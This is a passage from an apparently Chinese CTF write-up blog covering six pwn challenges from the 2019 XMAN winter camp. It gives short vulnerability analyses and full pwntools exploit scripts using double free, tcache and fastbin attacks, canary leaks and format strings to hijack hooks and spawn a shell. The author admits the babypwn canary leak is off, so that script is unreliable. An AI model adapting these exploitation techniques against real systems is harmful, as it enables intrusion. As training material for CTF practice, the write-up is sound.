2019-XMAN冬令营结营赛

filesystem

0x01 查看文件

0x02 IDA分析

它这里只是清空了size的部分,而chunk address的地址没有清空,double free

0x03 思路

首先劫持chunk list,劫持之后先puts出libc的基址,然后改free函数的地址为system函数的地址,最后释放一个带有/bin/sh字符串的chunk就可以达到getshell的目的

0x04 exp

from pwn import *
context.log_level = "debug"
# p = remote("139.9.103.173",2333)
p = process('flagsystem')
elf = ELF('./flagsystem')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal = ['tmux','split','-h']
def add(message, length):
    p.sendafter('your choice: ', str(1))
    p.sendafter('team\'s flag:\n', str(length))
    p.sendafter('the flag:\n', message)

def delete(index):
    p.sendafter('your choice: ', str(2))
    p.sendafter('to delete:\n', str(index))

def edit(index, message):
    p.sendafter('your choice: ', str(3))
    p.sendafter('to edit:\n', str(index))
    p.sendafter('edit the flag:\n', message)

def display(index):
    p.sendafter('your choice: ', str(4))
    p.sendafter('to display:\n', str(index))
    p.recvuntil('flag: ')
    return p.recv(6)

fake_chunk = 0x602060 - 8
add('shinnosuke', 0x51)
add('shinnosuke', 0x40)
add('shinnosuke', 0x40)
delete(1)
delete(2)
gdb.attach(p)
delete(1)
# hijaking chunk list address
add(p64(fake_chunk), 0x40)
add('shinnosuke', 0x40)  
add('shinnosuke', 0x40)  
# gdb.attach(p)
add(p64(elf.got['puts']), 0x40)
puts_addr = display(0).ljust(8, '\x00')
puts_addr = u64(puts_addr)
libc_addr = puts_addr - libc.symbols['puts']
free_hook_addr = libc_addr + libc.symbols['__free_hook']
system_addr = libc_addr + libc.symbols['system']
edit(6, p64(free_hook_addr))
edit(0, p64(system_addr))
gdb.attach(p)
add('/bin/sh\x00', 0x10)
delete(7)
p.interactive()

baby_ret2libc

0x01 查看文件

保护全开 考点:canary、rop ## 0x02 IDA分析
溢出 ## 0x03 思路

我们可以看到这里有两次溢出,而且后面还有输出,那么我们可以考虑输出canary。输出canary后再想办法在最后返回start函数再leak出libc基址,来进行rop getshell。

0x04 exp

from pwn import *
context.log_level = "debug"
p = process("./baby_ret2libc")
#p = remote("139.9.217.6",2333)
elf = ELF("./baby_ret2libc")
libc = ELF("./libc-2.23.so")

context.terminal = ['tmux','split','-h']

p.sendafter("secret:","aaaaaaaaa"*14+"bbbbbbbbbb"+"\x30")

p.recvuntil("bbbbbbbbbb")
canary = u64(p.recv(8))-0x30

base_address = u64(p.recv(6).ljust(8,"\x00"))-0xaa0
print "base address: ",hex(base_address)

plt_alarm = base_address + elf.plt['alarm']
rop_rdi_ret = base_address + 0xb03
rop_rbp_ret = base_address + 0x8e0

base_address = base_address >> 12
base_address = base_address << 12
print "base address now is: ",hex(base_address)

payload = "a"*0x88 + p64(canary)+p64(base_address+0x1a50)+p64(base_address+0x1800)
gdb.attach(p)

p.sendafter("Let's go: ",payload)

payload1 = "a"*0x98
p.sendafter("secret:",payload1)
p.recvuntil(payload1)

libc_start_main = u64(p.recv(6).ljust(8,"\x00"))-240
libcbase = libc_start_main - libc.sym["__libc_start_main"]
addr_system = libcbase+libc.sym["system"]
addr_bin_sh = libcbase+libc.search("/bin/sh").next()
payload = "\x11"*0x88+p64(canary)+p64(base_address)+p64(rop_rdi_ret)+p64(addr_bin_sh)+p64(addr_system)
p.sendafter("Let's go: ",payload)
p.interactive()

a_girl

0x01 查看文件

经过测试这个题版本是在libc2.27版本下 考点:2.27 double free ## 0x02 IDA分析
UAF漏洞

0x03 思路

这道题目的思路就是利用UAF简单的泄露heap地址,最后再劫持tcache header改hook或者别的就可以成功了。

0x04 exp

from pwn import *
context.log_level = 'debug'
elf = ELF('./a_girl')
libc = elf.libc
p = process('./a_girl')
# p = remote("139.159.155.243",2333)
def add(content):
    p.sendlineafter(' choice : \n','1')
    p.sendafter('what is it letter?\n',str(content))

def show(index):
    p.sendlineafter(' choice : \n','2')
    p.sendlineafter('Give me your index : \n',str(index))
    s = p.recvuntil('1.', drop = True)
    return s

def edit(index,content):
    p.sendlineafter(' choice : \n','3')
    p.sendlineafter('Give me your index : \n',str(index))
    p.sendafter('Now give me your content\n',str(content))

def delete(index):
    p.sendlineafter(' choice : \n','4')
    p.sendlineafter('Give me your index : \n', str(index))

add('/bin/sh\x00'+"a"*0x78)
add('/bin/sh\x00'+"a"*0x78)  
delete(0)
edit(0,'\x00')
delete(0)                     

heap_base = u64(show(0)[0:6].ljust(8,'\x00'))

heap_base = heap_base - 0x280
chunk1 = heap_base+0x290
chunk2 = chunk1 + 0x90 + 0x30

fake = p64(heap_base+0x10) + 'a'*(0x80-8)
add(fake)
add(p64(chunk2)*(0x10))                      
add('a'*0x40+p64(0)*8)  
delete(3)  
libc_base = u64(show(3)[0:6].ljust(8,'\x00')) - 0x1e4ca0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.symbols['system']

delete(4)
add('a'*0x40+p64(free_hook)*8)
add(p64(system)*(0x10))
delete(1)
p.interactive()

music

0x01 查看文件

PIE没开启 考点:多线程堆溢出

0x02 IDA分析

主函数中:开了一个线程pthread_create(这个可以当作是创建一个线程,其中的参数是需要执行的函数,其它的参数有讲究,需要再查吧,这样就进入他的线程里了),至于后面那个pthread_join函数是未来使主线程阻塞等待 其它线程退出。

进入子线程函数看看:
我们看到bss段上数据被赋为函数指针,后来又进行调用这个函数指针。

我们看看读取函数:

第一次不read满的话,第二次还能继续read。

0x03 思路

  1. 首先将线程第一次分配的非主分配区填充满

  2. 再次申请时,线程只能申请一个新的sub_heap,此时的sub_heap地址位于第一次申请的sub_heap低地址位置。

  3. 再次将该sub_heap填充满,在最后一次填充时进行复制,由于存在堆溢出,则可以溢出覆盖非主分配区的malloc_state结构体(thread arena),此时的利用和覆盖了main_arena的利用方法一致。

  4. 选择fastbin attack的方法进行攻击,将fastbin劫持到bss段上去,因为bss段上有一个函数指针,会在赋值后调用,将这个函数赋值为system,并将堆块起始覆盖为’/bin/sh’即可获得shell。

0x04 exp

#coding:utf-8
from pwn import *
context.log_level = "debug"

debug=0
elf = ELF('./play_music')
if debug:
    p= process('./play_music')
    libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p= remote('139.9.79.187',2333)
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size,name):
    p.recvuntil('choice: ')
    p.sendline('0')
    p.recvuntil('s name: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.send(name)

def show(index):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil(' song: ')
    p.sendline(str(index))

def vote(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('song: ')
    p.sendline(str(index))    

def cancel(index):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('song: ')
    p.sendline(str(index))    

add(0x80,'\x44'*0x80) #0
add(0x80,'\x44'*0x80) #1
cancel(0)
show(0)
p.recvuntil('count: ')

libcbase = int(p.recvuntil('\n'),10) - (0x7ffff7bb4b78-0x7ffff77f0000)
log.success('libcbase = '+hex(libcbase))

add(0x80,'\x44'*0x80) #2
add(0x50,'\x44'*0x50) #3
name = p64(0) + p64(0x71) + p64(libcbase+0x7f0e8c25eb20-0x7f0e8be9a000-0x33) # 伪造chunk以及hook附近满足size的地址为fd
add(0x50,name+'\n') #4

cancel(4)
cancel(3)

# gdb.attach(p)         # 改以释放的chunk的fd为我们刚才伪造的chunk的地址
for i in range(0x20):
    vote(3)
sleep(4)

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
# gdb.attach(p)
add(0x50,'\x44'*0x50)
add(0x50,'\x44'*0x50)
add(0x50,'\x00'*3+p64(libcbase+one_gadget[2])+'\n')
# gdb.attach(p)
cancel(7)
p.interactive()

sleep

0x01 查看文件

保护全开

0x02 IDA分析

格式化字符串:

double free:

0x03 思路

思路是先通过格式化字符串将libc地址泄露出来,然后利用double free改free_hook为one_gadget地址便可以getshell

0x04 exp

from pwn import *
# p = process("./sleep")
p = remote("121.37.10.245",2333)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./sleep")
one_gadgets = [0x4f2c5,0x4f322,0x10a38c]
context.log_level = "debug"

def create(size,info):
    p.sendlineafter("choice:",str(1))
    p.sendlineafter("size of story: \n",str(size))
    p.sendafter("the story: \n",info)

def delete(index):
    p.sendlineafter("choice:",str(4))
    p.sendlineafter("index:\n",str(index))
p.sendlineafter("name?\n","%p.%p.%p.%p.aaaa%p")
p.recvuntil(".aaaa0x")
libc_address = int(p.recv(12),16)
libc.address = libc_address - libc.symbols["_IO_2_1_stderr_"]
p.sendlineafter("ID.\n","shin")
print "libc address:",hex(libc.address)
one_gadget = one_gadgets[1] + libc.address

create(0x30,"a"*0x30)
create(0x30,"b"*0x30)

delete(0)
delete(0)

# print "hook address: ",hex(libc.symbols["__malloc_hook"])
create(0x30,p64(libc.symbols["__free_hook"]))
create(0x30,p64(one_gadget))
create(0x30,p64(one_gadget))

delete(0)
# gdb.attach(p)

p.interactive()

baigei

0x01 查看文件

保护全开

考点: off by one、global max fast

0x02 IDA分析

这个题比较有意思:首先这个题将max_fastbin的阈值改为0,所以只要释放chunk就会有main_arena地址,所以很容易就可以得到libc地址,但是这个也是在最后才发现。。。。

然后题目中有一个off by one的漏洞:

0x03 思路

首先将libc地址泄露,利用unsorted bin attack改global_max_fast的值,最后在利用fastbin attack来改hook(注意要create的时候改)而这里global_max_fast阈值为0,所以很好修改。

0x04 exp

#coding = "utf-8"
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux","split","-h"]
# p = process("./baigei")
#p = remote("139.9.101.41",2333)
p = process("./baigei")
elf = ELF("./baigei")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]


def create(size,info):
    p.sendlineafter("choice: ",str(1))
    p.sendlineafter("size: ",str(size))
    p.sendafter("data: ",info)


def delete(index):
    p.sendlineafter("choice: ",str(2))
    p.sendlineafter("index: ",str(index))


def edit(index,info):
    p.sendlineafter("choice: ",str(3))
    p.sendlineafter("index: ",str(index))
    p.sendlineafter("data: ",info)


def show(index):
    p.sendlineafter("choice: ",str(4))
    p.sendlineafter("index: ",str(index))
#leak libc

create(0x18,"a"*0x38) # 0
create(0x18,"b"*0x18) # 1
create(0x38,p64(0x21)*7) # 2
create(0x68,p64(0x21)*13) # 3
create(0x48,"e"*0x48) # 4
create(0x28,"f"*0x28) # 5
create(0x68,p64(0x21)*13) # 5
create(0x68,p64(0x21)*13) # 5
delete(0)
create(0x8,"e"*0x8) # 0 #因为这个题的global_max_fast改掉了,所以我们直接可以删除再创建在输出获得libc
show(0)
p.recvuntil("e"*8)
libc.address = u64(p.recv(6).ljust(8,"\x00")) - 88 - libc.symbols["__malloc_hook"] -  0x10
print "libc address: ",hex(libc.address)
# unsorted bin attack modify global_max_fast
delete(0)
create(0x18,'0'*0x18)#0
edit(0,'0'*0x18+'\x41')
#gdb.attach(p)
delete(1)
delete(2)
global_max_fast = libc.address + (0x7ffff7dd37f8-0x7ffff7a0d000)
create(0x2a,'a'*0x10+p64(0)+p64(0x21)+p64(0)+p16((global_max_fast-0x10)&0xffff))#1

#change global_max_fast
create(0x10,p64(libc.sym['__malloc_hook']+88+0x10)*2)  # 这里类似于创建size a和b的两个chunk,此时将a的size改为a+b,再释放掉这个a+b的size,同时再释放掉后面的b的chunk,再分配a+b size的chunk,那么就可以对后面的size b的chunk任意修改,unsorted bin attack

#get shell
edit(4,'e'*0x48+'\x51')
delete(6)
delete(5)

create(0x48,"a"*0x28+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23))

create(0x68,"\x00"*0x13+p64(libc.address+gadgets[0]))

realloc = libc.sym['realloc']
create(0x68,"\x00"*(0x13-8)+p64(libc.address+gadgets[1])+p64(realloc+8))

gdb.attach(p)

p.sendlineafter("choice: ",str(1))
p.sendlineafter("size: ",str(1))
p.interactive()

babypwn

0x01 查看文件

考点:canary ssp leak

0x02 IDA分析

程序逻辑比较简单,大致是主函数中可以创建三次线程,不退出。 waitpid:暂时停止目前进程的执行,直到有信号来到或子进程结束 也就是三次子线程都执行后才可以退出,看到这里有个溢出漏洞。

0x03 思路

ssp leak。通过这个方式来打印出libc和canary。第一次打印出libc,第二次打印出tls的canary,第三次就可以溢出了,rop来getshell了。

但由于什么原因不清楚,打印出的canary不是真正栈上canary,目前还不知道怎么回事。

0x04 exp

#/coding=utf-8
from pwn import *
# context.terminal = ["tmux","split","-h"]
context.log_level = "debug"
elf = ELF("./babypwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process("./babypwn")
offset = 0x1000
main_addr = 0x400B22
fork_got = elf.got['fork']
payload = 'A'*0x118+p64(fork_got)
p.sendline(payload)
p.recvuntil("*** stack smashing detected ***: ")
fork = u64(p.recv(6).ljust(8,'\x00'))
success(hex(fork))
libc.address = fork-libc.symbols['fork']
success(hex(libc.address))
tls = libc.address + 0x7ffff7fdc728 - 0x7ffff7a0d000
payload = 'A'*0x118+p64(tls)
p.sendline(payload)
p.recvuntil("*** stack smashing detected ***: ",timeout=1)
canary = u64('\x00'+p.recv(7))
success(hex(canary))
sh = libc.search("/bin/sh").next()
system = libc.symbols['system']
pop_rdi = 0x0000000000400763
payload = 'A'*0x28+p64(canary>>8)+"b"*8+p64(pop_rdi)+p64(sh)+p64(system)
p.sendline(payload)
p.interactive()

  Reprint policy: xiaoxin 2019-XMAN冬令营结营赛

 Previous
C++ PWN初探(一) C++ PWN初探(一)
EasyCpp查看文件 首先看到不能hijacking GOT。 IDA分析查看源码得知这是一个C++程序。由于之前没做过,有很多机制并没有很清楚。 问题一:在edit中析构函数会free(栈上的一个地址),而这个地址是可以更改的。我们
2020-09-07
Next 
2019-上海市大学生信息安全竞赛 2019-上海市大学生信息安全竞赛
Boring_heap0x01 查看文件 保护全开 考点:abs漏洞、overlapping 0x02 IDA分析创建:(指定三个size的大小:0x20、0x30、0x40)没什么漏洞 删除(无UAF)但是我们看到有abs函数,上网查
2020-08-30
  TOC